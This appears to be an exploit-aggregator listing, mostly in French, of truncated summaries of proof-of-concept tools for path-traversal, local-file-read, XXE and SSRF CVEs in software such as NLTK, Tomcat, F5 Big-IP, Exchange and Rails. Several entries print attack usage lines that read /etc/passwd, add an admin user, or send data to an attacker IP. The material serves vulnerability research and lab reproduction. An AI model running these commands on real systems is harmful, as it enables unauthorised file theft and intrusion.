CVE-2026-12243-NLTK-PoC

CVE-2026-12243 — Laboratoire de traversée de chemin NLTK Un petit laboratoire Docker reproductible qui compare le comportement de traversée de chemin encodé en pourcentage dans NLTK 3.9.4 avec le comportement corrigé dans NLTK 3.10.0. La version vulnérable valide le nom de la ressource avant le...

mpDNS

mpDNS aka serveur DNS polyvalent Serveur DNS simple, configurable, avec plusieurs fonctionnalités utiles Python 3 names.db - contient tous les enregistrements personnalisés voir exemples Wildcards simples comme .example.com Capture des requêtes DNS unicode Actions personnalisées alias macro:...

Eclipse Mojarra - Local File Read

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra...

Vitest Browser Mode - Local File Read

Vitest is a testing framework powered by Vite. The screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host- true, an attacker can send a request to that handler from remote to get th...

LocalAI - Partial Local File Read

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery SSRF and partial Local File Inclusion LFI. The endpoint supports both https-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the...

BOA Web Server 0.94.14 - Arbitrary File Access

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. id: CVE-2017-9833 info: name: BOA Web Server 0.94.14 - Arbitrary File Acces...

CVE-2024-55557

CVE-2024-55557 Utilisation root@kitploit: python3 exploit.py --local retrieve from local readable files python3 exploit.py default mode is remote Plus d'informations En savoir plus sur CVE-2024-55557 - Weasis 4.5.1 POC https://github.com/user-attachments/assets/a3f64a58-7720-4f93-8bcc-9393d8afcb6...

CVE-2025-66516-POC

⚠️ LISEZ L'AVERTISSEMENT AVANT UTILISATION ⚠️ Test pédagogique/uniquement autorisé | Licence | Politique de sécurité...

CVE-2020-1938

CVE-2020-1938 Ce CVE-2020-1938 corrige les erreurs du PoC de https://github.com/Hancheng-Lei/Hacking-Vulnerability-CVE-2020-1938-Ghostcat.git et a été validé sur Apache Tomcat/8.0.43. Procédure 1. Créer un fichier docker-compose.yml 2. docker compose up -d 3. python3 CVE-2020-1938.py -p 8009 -f...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC d'exploit root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME...

CVE-2026-45504

CVE-2026-45504 Lecture de fichier Exchange CVE-2026-45504 Exchange File Read Blog de recherche root@kitploit: python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2024-28752

Environnement de reproduction de la CVE-2024-28752 d'Apache CXF Avis de sécurité : https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt Démarrage de l'environnement samples/javafirstjaxwsfactorybean IDEA Démarrez le service web via ServerStarter.java Compilation Utiliser JDK8...

CVE-2022-44268

CVE-2022-44268 Ce dépôt contient une preuve de concept POC pour une vulnérabilité dans ImageMagick v. 7.1.0-49, une bibliothèque de manipulation d'images open-source largement utilisée. La vulnérabilité permet à un attaquant d'incorporer le contenu d'un fichier arbitraire dans une image...

CVE-2016-10956-mail-masta

Mail Masta - Lecture de fichier locale CVE-2016-10956 Le plugin mail-masta 1.0 pour WordPress permet de lire des fichiers locaux dans countofsend.php et csvexport.php. Utilisation root@kitploit: $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage:...

CVE-2019-8389

CVE-2019-8389 - Lecture arbitraire de fichiers dans Musicloud pour iOS v1.6 CVE-2019-8389 Un code d'exploitation permettant d'exploiter une vulnérabilité de lecture locale de fichiers dans l'application Musicloud v1.6 pour iOS Description : Une vulnérabilité de lecture de fichiers a été identifié...

CVE-2024-40422

CVE-2024-40422 Trouvé cela sur exploit-db, décidé de créer le mien pour m'entraîner. Cet exploit va rechercher le fichier passwd et afficher son contenu sur un système vulnérable. Ce script exploite une vulnérabilité de traversée de chemin dans Devika v1. Crédit à Alperen Ergel pour avoir découve...

CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 Preuve de concept pour CVE-2025-27136 XXE dans Local-S3 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + Service S3 détecté + Création du bucket : xxe-32d14993 + Réponse du serveur : ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + Récupération du fichier via ?location +...

CVE-2019-5418

CVE-2019-5418 Тестовый пример Запуск : root@kitploit: $ rails s PoC : root@kitploit: Accept: ../../../../../../../../etc/passwd Запрос 1 - root@kitploit: GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept:...

CVE-2020-5902

CVE-2020-5902 Script Python pour exploiter la vulnérabilité F5 Big-IP CVE-2020-5902 Exemples Exploitation de la lecture de fichier local : python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploitation RCE : python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2024-28995

CVE-2024-28995 Parcours de chemin automatisé et lecture de fichier local Fonctionnalités Détection de version : Récupère la version de Serv-U à partir de l'en-tête du serveur. Vérification de vulnérabilité : Compare la version détectée avec une version vulnérable connue 15.4.2 ou inférieure. Test...